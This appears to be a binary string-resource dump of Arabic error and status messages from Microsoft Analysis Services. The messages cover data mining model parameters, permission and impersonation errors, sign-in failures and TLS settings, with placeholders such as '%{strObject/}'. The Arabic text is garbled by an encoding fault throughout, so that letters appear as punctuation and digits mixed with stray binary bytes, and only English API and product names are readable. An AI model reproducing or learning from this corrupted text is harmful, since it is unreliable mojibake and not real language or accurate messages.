'%d{holdoutmaxcases/}' :J1 5'D-). J,( #F *CHF 'DBJE) 9//K' EH,(K'.�%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F DDH5HD %DI FEH0, ,E9 'D(J'F'* #H 'D(FJ) 'DEO4'1 %DJG' '%{strName/}' #H #F 'DC'&F :J1 EH,H/.[C'F JO*HB9 (FJ) #H FEH0, ,E9 DCF DE J*E 'D9+H1 9DI FEH0, ,E9 #H (FJ) ,E9 AJ 'D3J'B 'D-'DJ.JC'F JO*HB9 FEH0, ,E9 DCF DE J*E 'D9+H1 9DI #J FEH0, ,E9 AJ 'D3J'B 'D-'DJ.IEF 'DE*HB9 (FJ) ,E9 HDCF DE J*E 'D9+H1 9DI #J (FJ) ,E9 AJ 'D3J'B 'D-'DJ.7D' JECF '3*./'E 'D'-*,'2 AJ (FJ) ,E9 (G' 9EH/ KEY TIME.SD' JECF %CE'D 'D9EDJ) D#FG DE J*E *-/J/ E,EH9) '.*('1 D(FJ) 'D,E9 ('%{strName/}').F'D-'D) '%{State/}' :J1 5'D-) DD3E) '%{Attribute/}' DDC'&F '%{model/}'.:D' *-*HJ (FJ) 'D,E9 'DE-//) 9DI FEH0, 5'D- DDEGE) 'D-'DJ).q**7D( 'DEGE) 'D-'DJ) 3E) JECF 'D*F($ (G'. 'D3E) 'DE-//) '%{Attribute/}' DFEH0, 'D,E9 '%{Model/}' D' JECF *HB9G.x*-*HJ 'D3E) '%{Attribute/}' DFEH0, 'D,E9 '%{Model/}' 9DI FH9 E-*HI '%{Content/}' :J1 E/9HE EF BP(D 'DEGE) 'D-'DJ).V'DBJE) 'D#HDJ) DD'-*,'2 '%d{holdoutseed/}' :J1 5'D-). J,( #F *CHF 'DBJE) 9//K' EH,(K'.zAB7 'D*9(J1 'D0J J$/J %DI %1,'9 ,/HD GH 'DE3EH- (G CE9DE) 'D/'D) Exists. -/+ 'D.7# AJ 'D371 %d{Line/} 'D9EH/ %d{Column/}.PA�*.EJF 9'ED *5AJ) 'DFEH0, :J1 5'D- (AJ 'D371 %d{Line/} 'D9EH/ %d{Column/}). J,( #F JB'1F *.EJF 9'ED 'D*5AJ) 9EH/ (FJ) 0J BJE) 1BEJ).T*E *-/J/ #C+1 EF BJE) D@ HoldoutMaxCases. -// BJE) 9// 5-J- H'-/) D#B5I E9DE) -'D'*.^*E *-/J/ #C+1 EF BJE) H'-/) D@ HoldoutMaxPercent. -// BJE) 7HJD) H'-/) D#B5I E9DE) F3() E&HJ).�J6JA *F($ 'D*3D3D 'D2EFJ DFEH0, '%{modelname/}' (J'F'* ,/J/) DCF J-/+ HB* 'D(/! DD*F($ B(D (/! 'D(J'F'* 'D,/J/). D' JECF '3*./'E 'D*F($ 'D*'1J.J EB'(D (J'F'* ,/J/).�D' JECF %,1'! 'D'3*9D'E EB'(D FEH0, '%{Name/}' D#F G0' 'D%5/'1 EF Analysis Services D' J/9E 'D*F($'* H'D*J *6JA (J'F'* ,/J/) %DI FEH0, *3D3D 2EFJ.rDE J*E '3*./'E 'D(J'F'* 'DEB*1F) (BJE) 'DEA*'- '%{name/}' #+F'! 'D*/1J( HDG0' 'D3(( A'DBJE) DJ3* EA*'-K' 5'D-K'.�'3*9D'E PREDICTION JOIN EB'(D FEH0, '%{Name/}' :J1 E9*E/ D#F GF'C E1',9 %DI 'D9F'51 'DE,EQN9) H:J1 'DE,EQN9) CD*JGE' AJ B'&E) SELECT -J+ 9('1) WHERE #H 9('1) ORDER BY.�*H,/ BJE) AJ 9EH/ 'DEA*'- AJ '3*9D'E PREDICTION JOIN EB'(D FEH0, '%{Name/}' EABH/). *CHF BJE) 9EH/ 'DEA*'- E7DH() %0' C'F 'DFEH0, J-*HJ 9DI 'D9/J/ EF E91A'* 'D-'D).}('DF3() D'3*9D'E PREDICTION JOIN EB'(D 'DFEH0, '%{Name/}' J,( #F J-*HJ CD 5A %/.'D 9DI BJE) :J1 A'1:) AJ 9EH/ "HB* 'DEA*'-".y('DF3() D'3*9D'E PREDICTION JOIN EB'(D 'DFEH0, '%{Name/}' J,( #F J-*HJ CD 5A %/.'D 9DI BJE) A1J/) AJ 9EH/ "HB* 'DEA*'-".�D' JECF '3*./'E 9D'E'* 'D*HB9 REPLACE_MODEL_CASES H EXTEND_MODEL_CASES DD'3*9D'E EB'(D 'DFEH0, '%{Name/}' D#F G0' 'D'3*9D'E DJ3 '3*9D'E PREDICTION JOIN.w'DBJE) 'D.'5) (E9DE) INSTABILITY_CUTOFF_WEIGHT AJ 'DFEH0, '%{modelname/}' DJ3* 5'D-). J,( #F *CHF G0G 'DE9DE) (JF 0 H1.�BJE) E9DE) FORECAST_METHOD DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF FORECAST_METHOD %-/I +D'+ BJE ARIMA #H ARTXP #H MIXED.�9'ED *5AJ) 'D-'D) DFEH0, 'D,E9 '%{model/}' :J1 5'D-. J*E *BJJE *9(J1 9'ED 'D*5AJ) 'DE-// %DI 9('1) DMX 'D*'DJ): '%{statement/}'�9'ED *5AJ) 'D5A DD,/HD '%{table/}' 'D.'5 (FEH0, 'D,E9 '%{model/}' :J1 5'D-. J*E *BJJE *9(J1 9'ED 'D*5AJ) 'DE-// %DI 9('1) DMX 'D*'DJ): '%{statement/}'T*E 'D9+H1 9DI E4:D :J1 E9*E/ AJ 9'ED 'D*5AJ) AJ 'D371 %d{Line/} 'D9EH/ %d{Column/}.qJ-*HJ 9'ED 'D*5AJ) 9DI E4:D :J1 E9*E/ DFH9 'DE-*HI 'D.'5 (9EH/ 'DEO9'ED (AJ 'D371 %d{Line/} 'D9EH/ %d{Column/}) D*901 *(/JD (FJ) 'D,E9 '%{structurename/}' D-/+ A4D #+F'! 'DE9'D,).oJ-*HJ 'D*9(J1 '%{expression/}' 9DI BJE) :J1 5'D-) #H (F'! ,ED) :J1 5'D- AJ 'D371 %d{Line/} 'D9EH/ %d{Column/}.q9'ED *5AJ) 'D-'D) :J1 5'D- D#F 'D9EH/ 'DE1,9J '%{ColumnName/}' (G FH9 E-*HI KEY. HD' JECFC 'D*5AJ) AJ 9EH/ EA*'-.`*H,/ BJE) 3E) .'1, F7'B 'DBJE [%{start/} %{end/}]. G0' :J1 E9*E/ EF BP(D .H'12EJ) ,E9 'D(J'F'*.V%F '%d{foldcount/}' DJ3* BJE) 5'D-) D-3'( 'D7J. J,( #F *CHF 'DBJE) #C(1 EF #H *3'HJ 2.�%F '%d{foldindex/}' DJ3* BJE) 5'D-) DAG13 'D7J. J,( #F *CHF 'DBJE) #C(1 EF #H *3'HJ 1 CE' J,( #F *CHF #BD EF #H *3'HJ -3'( 'D7J.b%F '%d{foldmaxcase/}' DJ3* BJE) 5'D-) D#B5I -/ EF 'D-'D'*. J,( #F *CHF 'DBJE) 9//K' 5-J-K' EH,(K'.s'DFEH0, '%s{modelname/}' :J1 5'D- AJ '3*/9'! 'D%,1'! 'D-'DJ D#F 'DFEH0, D' JF*EJ %DI (FJ) 'D,E9 '%s{structure/}'.�'D3E) '%s{attribute/}' :J1 5'D-) AJ '3*/9'! 'D%,1'! 'D-'DJ D#F 'D3E) DJ3* 3E) PREDICT #H PREDICT_ONLY DDFEH0, '%s{modelname/}'.CD' JECF *-/J/ -'D) 'D3E) AJ '3*/9'! 'D%,1'! D#F 'D3E) 'DG/A E3*E1).d'DFEH0, '%s{modelname/}' DJ3 5'D-K' AJ '3*/9'! 'D%,1'! 'D-'DJ D#F 'DFEH0, DJ3 FEH0, F8'E 'DE,EH9'*.W'DFEH0, '%s{modelname/}' DJ3 5'D-K' AJ '3*/9'! 'D%,1'! 'D-'DJ D#F 'DFEH0, J3*./E 'D7J.4G0' 'D%5/'1 EF 'D%,1'! D' J/9E E9DE) B'&E) 'D'.*('1.tBJE) 9*() 'D-'D) :J1 5'D-). J,( #F *CHF 'DBJE) (JF 0.0 H1.0. %0' DE *1/ *-/J/ 9*() -'D) ABE (*9JJF 'DBJE) %DI NULL.>D' JECF '3*./'E 'D7J DFEH0, 'D,E9 D#FG J*6EF 9EH/ "HB* EA*'-".|'D9('1) INSERT INTO ... '%s{name/}'.CASES :J1 5'D-) 9F/ '3*./'EG' E9 FEH0, ,E9. JECF '3*./'E G0G 'D9('1) AB7 E9 (FJ) 'D,E9.G#B5I 9// EF 'D7J'* 'DE9*E/) EF BP(D %,1'! 'D*-BB EF 5-) 'D*B'79 GH 255.k%F #B5I 9// EF 'D7J'* 'DE9*E/) EF BP(D %,1'! 'D*-BB EF 5-) 'D*B'79 @ 9F/ '3*./'EG E9 C'&F ,D3) 9ED @ GH 10.e%F #B5I 9// FE'0, E9*E/) EF BP(D %,1'! 'D*-BB EF 5-) 'D*B'79 @ 9F/ '3*./'EG E9 C'&F ,D3) 9ED @ GH 10.m'DBJE) 'D.'5) (9*() 'D-'D) :J1 5'D-). %0' DE J*E *-/J/ -'D) 5'D-) AJ,( 9DJC *-/J/ BJE) 9*() 'D-'D) %DI NULL.r'DFEH0, '%s{modelname/}' :J1 5'D- AJ '3*/9'! 'D%,1'! 'D-'DJ D#F 'DFEH0, J*6EF #9E/) "HB* EA*'-" #H "*3D3D EA*'-".aE9DE) NORMALIZATION DDFEH0, %{modelname/} :J1 5'D-). -J+ %F NORMALIZATION J,( #F *CHF %E' 0 #H 1.�E9DE) AUTODETECT_MINIMUM_SUPPORT DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF AUTODETECT_MINIMUM_SUPPORT #C(1 EF #H *3'HJ 0 H#BD EF #H *3'HJ 1.DDE J*E 'D9+H1 9DI F8'E E,EH9) *3D3D 5'D- AJ E,EH9) 'D(J'F'* 'DE9FJ).�E9DE) CASELIKELIHOOD_NORMALIZATION_METHOD DDFEH0, '%{modelname/}' :J1 5'D-). J,( #F *CHF CASELIKELIHOOD_NORMALIZATION_METHOD %-/I 'DBJE*JF MARGINAL #H DISTANCE.bD' J-*HJ C'&F *5EJE 'D*,EJ9 '%{aggdesign/}' 9DI #J 5AHA EB/Q1); HD' JECF *5EJE #J *,EJ9'* DD*5EJE.rD' *-*HJ 'D3E) %{attribute/} 'D.'5) ('D(O9/ %{dimension/} 9DI #J) BJE. HD' J3*7J9 'D.'/E *5EJE *,EJ9'* DG0G 'D3E).vD' J-*HJ 'D(O9/ %{dimension/} 9DI #J) 3E) D*5EJE 'D*,EJ9. HD' J3*7J9 'D.'/E *5EJE *,EJ9'* 9F/E' *CHF G0G 'D3E) EABH/).�D' J-*HJ 'D(O9/ %{dimension/} 9DI (J'F'* EB*1F) ('DB3E (AGH EF FH9 9/J/ %DI 9/J/ #H ,E9 'D(J'F'* #H 'DE1,9). HJ,( *9JJF 'D3E) '%{attribute/}' D*-*HJ 9DI '3*./'E *,EJ9 E*E+D AJ (D' #H 'D'A*1'6J.�%F 9EDJ) *5EJE 'D*,EJ9 *9ED -'DJK' DC'&F *5EJE 'D*,EJ9 '%{aggdesign/}'. HD' JECF *7(JB 'D#E+DJ) 'DE3*F/) %DI 'DE3*./E 9F/ G0G 'DE1-D).i'3*9D'E 'D#E+DJ) 'DE3*F/ %DI 'D'3*./'E '%{ubo/}' :J1 5'D-. DD-5HD 9DI 'D*F3JB 'DEF'3(, 1',9 H+'&B 'DEF*,.�D' J-*HJ 'D(O9/ %{dimension/} 9DI (J'F'* EB*1F) ('DB3E. H'D(O9/ 9('1) 9F (O9/ 9/J/ %DI 9/J/ #H ,E9 'D(J'F'* #H 'DE1,9). HJ,( #F J-*HJ 'D(O9/ 9DI '3*./'E *,EJ9 CD #96'! *E *9JJFG %DI (D' #H 'D'A*1'6J.�*9/ 'D3E) '%{attribute/}' AJ 'D(O9/ '%{dimension/}' :J1 B'(D) DD*,EJ9 HJ,( *9JJFG' D*-*HJ 9DI '3*./'E *,EJ9 E*E+D AJ EE*D& #H 'D'A*1'6J.a'DC'&F 'DE-// AJ 7D( 9EJD DJ3 C'&F *5EJE *,EJ9. HJ*E 'D3E'- (C'&F'* *5EJE 'D*,EJ9 AB7 DG0' 'D#E1.EABH/EABH/EH,H/EH,H/'DCDFEH0, F8'E 'DE,EH9)PATrue.7#=D' =>>=<<=H#H,->*B'79-y():FEH0, BH'9/ 'D%B1'F
F8'E 'DE,EH9)5A 'D'F*B'D D-'D) 'D*3D3DE3*HI 'D*3D3D DF8'E 'DE,EH9)FEH0, F8'E E,EH9) 'D*3D3DFEH0, 'D*3D3D 'D2EFJMicrosoft Linear Regression;*9*(1 .H'12EJ) Microsoft Linear Regression .H'12EJ) 'F-/'1 *9ED ,J/K' ('DF3() DFEH0, 'D'F-/'1. *9*(1 G0G 'D.H'12EJ) *CHJFK' .'5K' D.H'12EJ) Microsoft Decision Trees 'D*J J*E 'D-5HD 9DJG' (H'37) *97JD 'D'FB3'E'* (*CHF E9'/D) 'D'F-/'1 (#CEDG' E6EF) AJ 9B/) #3'3J) EA1/)). */9E G0G 'D.H'12EJ) 'D*F($ ('D3E'* 'DE3*E1).Microsoft Logistic Regression*9*(1 .H'12EJ) Microsoft Logistic Regression .H'12EJ) 'F-/'1 *9ED ,J/K' E9 FEH0, 'D'F-/'1. *9*(1 G0G 'D.H'12EJ) *CHJFK' .'5K' D.H'12EJ) Microsoft Neural Network 'D*J J*E 'D-5HD 9DJG' (H'37) 'D*.D5 EF 'D7(B) 'DE.AJ). */9E G0G 'D.H'12EJ) 'D*F($ ('D3E'* 'DEFA5D) H'DE3*E1) CD*JGE'.*B'79'D/H1J)ARMA'D'.*D'AARIMAPA{}X^DE J*E 'D9+H1 9DI 'D-'D) 'DE-//) '%{State/}' AJ 'D9EH/ '%{ColumnName/}' DDC'&F '%{Object/}'.!'DE9DHE'* :J1 E*'-) DG0' 'D%5/'1.HD' JECF %F4'! *9JJF 'D0'C1) D9/'/'* "E1'B( 'D#/'!". 3J*E *97JD 'D9/'/'*.KD' JECF D9/'/ "E1'B( 'D#/'!" A*- 'DEDA 'DE.77 'D0J J-*HJ 9DI (J'F'* 'D#/'!.FD' JECF 'D*9JJF %DI EDA 'D0'C1) 'DE4*1C) 'D0J J-*HJ 9DI (J'F'* 'D#/'!.PA9D' JECF A*- "EA*'- 'D#/'!" D(1F'E, *4:JD 'D#/'! AJ 'D3,D.KD' JECF B1'!) BJE) %/.'D 3,D "'D9/'/ 'D#HD" *-* %/.'D 3,D "'D#/'!" DDE+JD.OD' JECF B1'!) BJE) %/.'D 3,D "'D*9DJE'* 'D#HDI" *-* %/.'D 3,D "'D#/'!" DDE+JD.LD' JECF B1'!) BJE) %/.'D 3,D "'D9/'/ 'D#.J1" *-* %/.'D 3,D "'D#/'!" DDE+JD.rD' J7'(B F7'B 'D9/'/'* AJ 'D3,D 'DF7'B 'DE*HB9 DD9/'/'* 'D.'5) ('DE+JD. 'D1,'! %9'/) *-EJD EDA *EGJ/ E1'B( 'D#/'!.=-/+ .7# #+F'! 'D*EGJ/: 'DA4D EF InitializeSecurityDescriptor.9-/+ .7# #+F'! 'D*EGJ/: 'DA4D EF SetSecurityDescriptorDacl1-/+ .7# #+F'! 'D*EGJ/: 'DA4D EF OpenProcessToken.4-/+ .7# #+F'! 'D*EGJ/: 'DA4D EF GetTokenInformation.;-/+ .7# #+F'! 'D*EGJ/: 'DA4D EF SetSecurityDescriptorOwner.;-/+ .7# #+F'! 'D*EGJ/: 'DA4D EF SetSecurityDescriptorGroup.2-/+ .7# #+F'! 'D*EGJ/: 'DA4D EF CreateFileMapping..-/+ .7# #+F'! 'D*EGJ/: 'DA4D EF MapViewOfFile.jED'-8). B'E .'/E 'D*-DJD (*+(J* #J) E9DHE'* #E'F E-//) C,2! EF ,2! 3D3D) Connection D*91JA C'&F Datsource.�%E' #F 'DE3*./E '%{pii_strUser/}' D' **HA1 D/JG %EC'FJ) 'DH5HD %DI B'9/) 'D(J'F'* '%{strObject/}' #H #F B'9/) 'D(J'F'* :J1 EH,H/).e%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F D*(/JD C'&F '%{strObject/}' #H #F 'DC'&F :J1 EH,H/.k%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F DDH5HD %DI 'DC'&F '%{strObject/}' #H #F 'DC'&F :J1 EH,H/.h%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F DE9'D,) 'DC'&F '%{strObject/}' #H #F 'DC'&F :J1 EH,H/.e%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F D-0A 'DC'&F '%{strObject/}' #H #F 'DC'&F :J1 EH,H/.t%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F D%F4'! C'&F ,/J/ AJ 'DC'&F '%{strObject/}' #H #F 'DC'&F :J1 EH,H/.x%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F D'3*1/'/ (J'F'* 'D*91JA DDC'&F '%{strObject/}' #H #F 'DC'&F :J1 EH,H/.Y%E' #FG B/ *E ('DA9D %F4'! %0F DD/H1 '%{strRoleID/}' DG0' 'DC'&F #H #F 'DC'&F :J1 EH,H/.k'D/H1 '%{strRoleID/}' 'DE4'1 %DJG (H'37) 'D%0F '%{strPermID/}' :J1 EH,H/ AJ B'9/) 'D(J'F'* '%{strDBName/}'.�%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F D'3*9'/) B'9/) 'D(J'F'* #H #F B'9/) 'D(J'F'* EH,H/) ('DA9D HDE J*E *-/J/ AllowOverwrite.�%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F DDF3. 'D'-*J'7J DB'9/) 'D(J'F'* '%{strObject/}' #H #F B'9/) 'D(J'F'* :J1 EH,H/).c%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F D/E, 'DB3E '%{strObject/}' #H #F 'DB3E :J1 EH,H/.�*E 9ED E-'HD) D*:JJ1 RoleID 'D.'5 ('D%0F '%{strPermID/}' EF '%{strRoleID/}' %DI '%{strNewRoleID/}'. D' JECF *:JJ1 RoleID 'D.'5 (%0F (9/ %F4'! 'D%0F.j%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F DD'4*1'C AJ **(9 '%{strObject/}' #H #F 'D**(9 :J1 EH,H/.r%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F D%9'/) 'DC*'() %DI 'DC'&F '%{strObject/}' #H #F 'DC'&F :J1 EH,H/.�%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F DE2'EF) 'DC'&F'* AJ 'DE+JD 'DE5/1 #H 'DG/A #H #F 'DC'&F'* :J1 EH,H/) 9DI 'DE+JD 'DE5/1.x%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F D'3*1/'/ (J'F'* 'D*91JA DDC'&F '%{strObject/}' #H #F 'DC'&F :J1 EH,H/.f%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F D*5A- 'DC'&F '%{strObject/}' #H #F 'DC'&F :J1 EH,H/.h%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG %0F B1'!) DB'9/) 'D(J'F'* #H #F B'9/) 'D(J'F'* :J1 EH,H/).l%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F DDC*'() %DI 'DC'&F '%{strObject/}' #H #F 'DC'&F :J1 EH,H/.='DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F D*FAJ0 %D:'! 9EDJ).D'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F D'3*/9'! 'D#3DH( Discover.i%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F D'3*91'6 'DC'&F '%{strObject/}' #H #F 'DC'&F :J1 EH,H/.#D' J3E- G0' 'DE+JD ('DH5HD 'DE,GHD.WD' J*7'(B E3*HI 'D-E'J) 'DE7DH( E9 E3*HI -E'J) (J'F'* 'DE+JD 'DE7DH( DD9EDJ'* 'D%/'1J).�%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F DDH5HD %DI E5/1 'D(J'F'* D(FJ) 'D,E9 '%{strStructure/}' #H #F E5/1 'D(J'F'* :J1 EH,H/.DD' JECF %F4'! (FJ) 'D,E9 D,D3) 'D9ED '%{strStructure/}' #H E9'D,*G'.=D' JECF %F4'! FEH0, ,E9 ,D3) 'D9ED '%{strModel/}' #H E9'D,*G.4J,( %F4'! FEH0, ,E9 ,D3) 9ED AJ B'9/) (J'F'* EH,H/).%F ImpersonationInfo 'D.'5 (E5/1 (J'F'* '%{Datasource/}' J-*HJ 9DI ImpersonationMode H'D0J JECF '3*./'EG AB7 (H'37) E3&HD .'/E.�%F E5/1 'D(J'F'* AJ 'DE,EH9) 'D-'DJ) D1H'(7 .'1,J) '%{Datasource/}' J-*HJ 9DI ImpersonationMode H'D0J D' JECF '3*./'EG (H'37) E5/1 (J'F'* .'1,J.[J-*HJ E5/1 'D(J'F'* '%{Datasource/}' 9DI ImpersonationMode HGH :J1 E9*E/ DE9'D,) 'D9EDJ'*.}%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F DE3- 0'C1'* 'D*.2JF 'DE$B* DDC'&F '%{strObject/}' #H #F 'DC'&F :J1 EH,H/.0:J1 E3EH- ('D9EDJ) 'D-'DJ) D'*5'D 'D9EJD 'DEBJ/.ID' JECF *9JJF %0F 'DC*'() (E3EH- (G) (/HF *9JJF %0F 'DB1'!) %DI E3EH- (G.h%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F D*#EJF 'DC'&F '%{strObject/}' #H #F 'DC'&F :J1 EH,H/.8JO3E- DE3&HDJ 'D.'/E AB7 ('DH5HD %DI EA*'- *4AJ1 'D.'/E.�'%{user/}'  D.'5J) EffectiveUserName 'DE-//) DJ3 E3*./EK' 5'D-K' HD' E,EH9) 5'D-) HD' '3EK' E3*9'1K' 5'D-K' HD' -3'( ,G'2 5'D-K']'D3E) '%{attribute/}' AJ 'D(O9/ '%{dimension/}' **6EF *9(J1 #E'F (O9/ *E %F4'$G HGH :J1 5'D-.�'D(O9/ '%{dimension/}' 'D#5D-'D*'(9 J*6EF #E'F 'D(O9/ 'DE-// AJ 3E) 'DEA*'- HGH :J1 E3EH- (G. JECFC (/D'K EF 0DC *91JA #E'F 'D(O9/ 'DEC'A& AJ 'D3E) 'D#5D.ED' J*7'(B E3*HI 'D-E'J) 'DE7DH( E9 E3*HI -E'J) (J'F'* 'D.'/E 'DE7DH(.&DE J*E EF- 'D%0F 'DE7DH( DG0G 'D9EDJ).r%F B'9/) (J'F'* '%{Database/}' D' *-*HJ 9DI H69 'F*-'D #H *-*HJ 9DI ImpersonationMode :J1 E9*E/ D9EDJ'* 'DE9'D,).P*-*HJ B'9/) 'D(J'F'* '%{Database/}' 9DI ImpersonationMode E-,H2 DE3$HDJ 'D.'/E.J.5'&5 7D( UseTransaction HMasterTransaction E-,H2) DE3$HDJ B'9/) 'D(J'F'*."H69 'DE5'/B) 'DE7DH( :J1 E3EH- (G.^J-*HJ E5/1 'D(J'F'* '%{Datasource/}' 9DI ImpersonationMode HGH :J1 E9*E/ D9EDJ'* '*5'D XMLA.�%F 'D3E) '%{attribute/}' D(O9/ 'DEC9( '%{dimension/}' (G' *3D3D GJCDJ DD3E) B/ *E *97JDG AJ 8D H,H/ #E'F (O9/ :J1 E(37 (*E *91JA %E' 'DE,EH9) 'DE3EH- (G' #H 'DE1AH6)) HGH EHBA :J1 E3EH- (G.�'D3E) '%{attribute/}' D(O9/ B'9/) 'D(J'F'* '%{dimension/}' (G' *3D3D GJCDJ DB'9/) 'D(J'F'* B/ *E *97JDG AJ 8D H,H/ #E'F (O9/ :J1 E(37 (*E *91JA %E' 'DE,EH9) 'DE3EH- (G' #H 'DE1AH6)) HGH EHBA :J1 E3EH- (G.A4D* 'DE5'/B).^'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F D*5A- (FJ) 'D,E9 'D#5D DFEH0, 'D,E9 '%{strObject/}'.=:J1 E3EH- ('D7D('* #+F'! 'DE5'/B). *E %:D'B 'D'*5'D ('D%,('1.>:J1 E3EH- (,D3'* 'D9ED #+F'! 'DE5'/B). *E %,('1 %:D'B 'D'*5'D.;(J'F'* '9*E'/ 'DE3*./E :J1 E*7'(B). *E %,('1 %:D'B 'D'*5'D.iD' J*7'(B 3J'B #E'F 'D'*5'D E9 3J'B #E'F ,D3) 'D9ED. BE (%F4'! '*5'D ,/J/ +E BE (*4:JD 'DE5'/B) E1) #.1I.PA%J,( *4:JD SetAuthContext CE3$HD F8'E.)'D1E2 'DEEJ2 DE3*./E SharePoint :J1 5'D-.'DJ3 D/JC 'D%0F D%,1'! 'D9EDJ) 'DE7DH().?A4D 'D#E1 AJ 'D*FAJ0 D9/E B/1*G 9DI 'F*-'D GHJ) E3*./E Windows.\J-*HJ E5/1 'D(J'F'* '%{Datasource/}' 9DI ImpersonationMode HGH :J1 E9*E/ D9EDJ'* 'DE9'D,).=:J1 E3EH- ('3*./'E C'&F'* ,D3) 'D9ED AJ 9EDJ'* E9'D,) 'D*/AB.)D' JECF %F4'! C'&F H'5A 'D#E'F D/H1 E-//.9*901 %F4'! 'D/H1 'DE-// D#FG J-*HJ 9DI #96'! C+J1JF ,/K'.�C'&F DataSourcePermission :J1 E9*E/ DBH'9/ (J'F'* Business Intelligence Semantic Model 'D*J J*E *4:JDG' AJ E+JD Analysis Services 'D0J J*E F41G AJ H69 ,/HDJ.�C'&F CubeDimensionPermission :J1 E9*E/ DBH'9/ (J'F'* Business Intelligence Semantic Model 'D*J J*E *4:JDG' AJ E+JD Analysis Services 'D0J J*E F41G H69 ,/HDJ.�C'&F AttributePermission :J1 E9*E/ DBH'9/ (J'F'* Business Intelligence Semantic Model 'D*J J*E *4:JDG' AJ E+JD Analysis Services 'D0J J*E F41G H69 ,/HDJ.�C'&F CellPermission :J1 E9*E/ DBH'9/ (J'F'* Business Intelligence Semantic Model 'D*J J*E *4:JDG' AJ E+JD Analysis Services 'D0J J*E F41G H69 ,/HDJ.�'DC'&F'F MiningStructurePermission HMiningModelPermission :J1 E9*E/JF DBH'9/ (J'F'* Business Intelligence Semantic Model 'D*J J*E *4:JDG' AJ E+JD Analysis Services 'D0J J*E F41G H69 ,/HDJ.,'D#E'F 9DI E3*HI 'D5A :J1 E9*E/ AJ H69 OLAP.�J,( 'D3E'- (H5HD 'DB1'!) AJ 'D(O9/ DBH'9/ (J'F'* Business Intelligence Semantic Model 'D*J J*E *4:JDG' AJ E+JD Analysis Services 'D*J J*E F41G' AJ H69 ,/HDJ.9'D'3*9D'E'* 'D,/HDJ) :J1 E9*E/) E9 'D#E'F 9DI E3*HI 'D5A.F'D#E'F 9DI E3*HI 'D5A :J1 E9*E/ AJ B'9/) (J'F'* 0'* .'5J) DirectQuery.]#0HF'* 'D(O9/ :J1 E9*E/) DE+JD'* Analysis Services 'D*J J*E F41G' AJ H69 SharePoint 'DE*C'ED.]#0HF'* 'DEC9( :J1 E9*E/) DE+JD'* Analysis Services 'D*J J*E F41G' AJ H69 SharePoint 'DE*C'ED.d#0HF'* E5/1 'D(J'F'* :J1 E9*E/) DE+JD'* Analysis Services 'D*J J*E F41G' AJ H69 SharePoint 'DE*C'ED.�'DC'&F'F MiningStructurePermission H MiningModelPermission :J1 E9*E/JF DE+JD'* Analysis Services 'D*J J*E F41G' AJ H69 SharePoint.�*CHF 9EDJ) DISCOVER E9*E/) AB7 DB'9/) (J'F'* 'DFEH0, 'D,/HDJ 'D*J D/JC #0HF'* %/'1J) 9DJG'. %E' #F B'9/) 'D(J'F'* 'D-'DJ) DJ3* ,/HDJ) #H #FC DJ3 D/JC #0HF'* %/'1J).�A4D *3,JD 'D/.HD F81K' D9/E H,H/ ECHF JO3*./E DG0' 'D:16 (msoidcli.dll) 9DI 'DCE(JH*1. 'D1,'! 'D*-BB EF *+(J* E3'9/ *3,JD 'D/.HD %DI Microsoft Online Services.GJ*901 9DI E3'9/ *3,JD 'D/.HD %DI Microsoft Online Services *3,JD /.HDC.YA4D *3,JD 'D/.HD (3(( -/H+ .7# /'.DJ AJ E3'9/ *3,JD 'D/.HD %DI Microsoft Online Services.;A4D *3,JD 'D/.HD D#F E91A 'DE3*./E #H CDE) E1H1G :J1 5-J-).OJ*901 '3*./'E EHA1 'DGHJ) 'D0J -//*G 9F/ *9JJF 'D#E'F 'DE*C'ED %DI ClaimsToken.DA4D *3,JD 'D/.HD 'D#-'/J D#F -3'( 'DE3*./E :J1 5'D- AJ E,'D Windows.H  DE J*E 'D9+H1 9DI 'D-BD 'DE7DH( '%{field/}' AJ EB79 Identity Transfer.+A4D 'D*-BB EF *HBJ9 EB79 Identity Transfer.$'F*G* 5D'-J) EB79 Identity Transfer.S:J1 E3EH- (-0A B'9/) 'D(J'F'* (H'37) E3$HD B'9/) (J'F'* AJ Windows Azure Analytics.]:J1 E3EH- (%9'/) *3EJ) B'9/) 'D(J'F'* (H'37) E3$HD B'9/) 'D(J'F'* AJ Windows Azure Analytics.m:J1 E3EH- (H69 'D'F*-'D: '%{ImpersonationMode/}' DE5/1 'D(J'F'*: '%{Datasource/}' AJ Windows Azure Analytics.�%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F D*4:JD CloneDatabase EB'(D B'9/) (J'F'* '%{strObject/}' #H #F B'9/) 'D(J'F'* :J1 EH,H/).%F Analysis Services *3*./E (Transport Layer Security (TLS D*#EJF 'D'*5'D 'D-'DJ.  J*7D( 'D%5/'1 (SP_PROT_TLS1_2_SERVER) HDCF *E 'D-5HD 9DI 'D%5/'1 '%{Protocol/}' (/D'K EF 0DC. 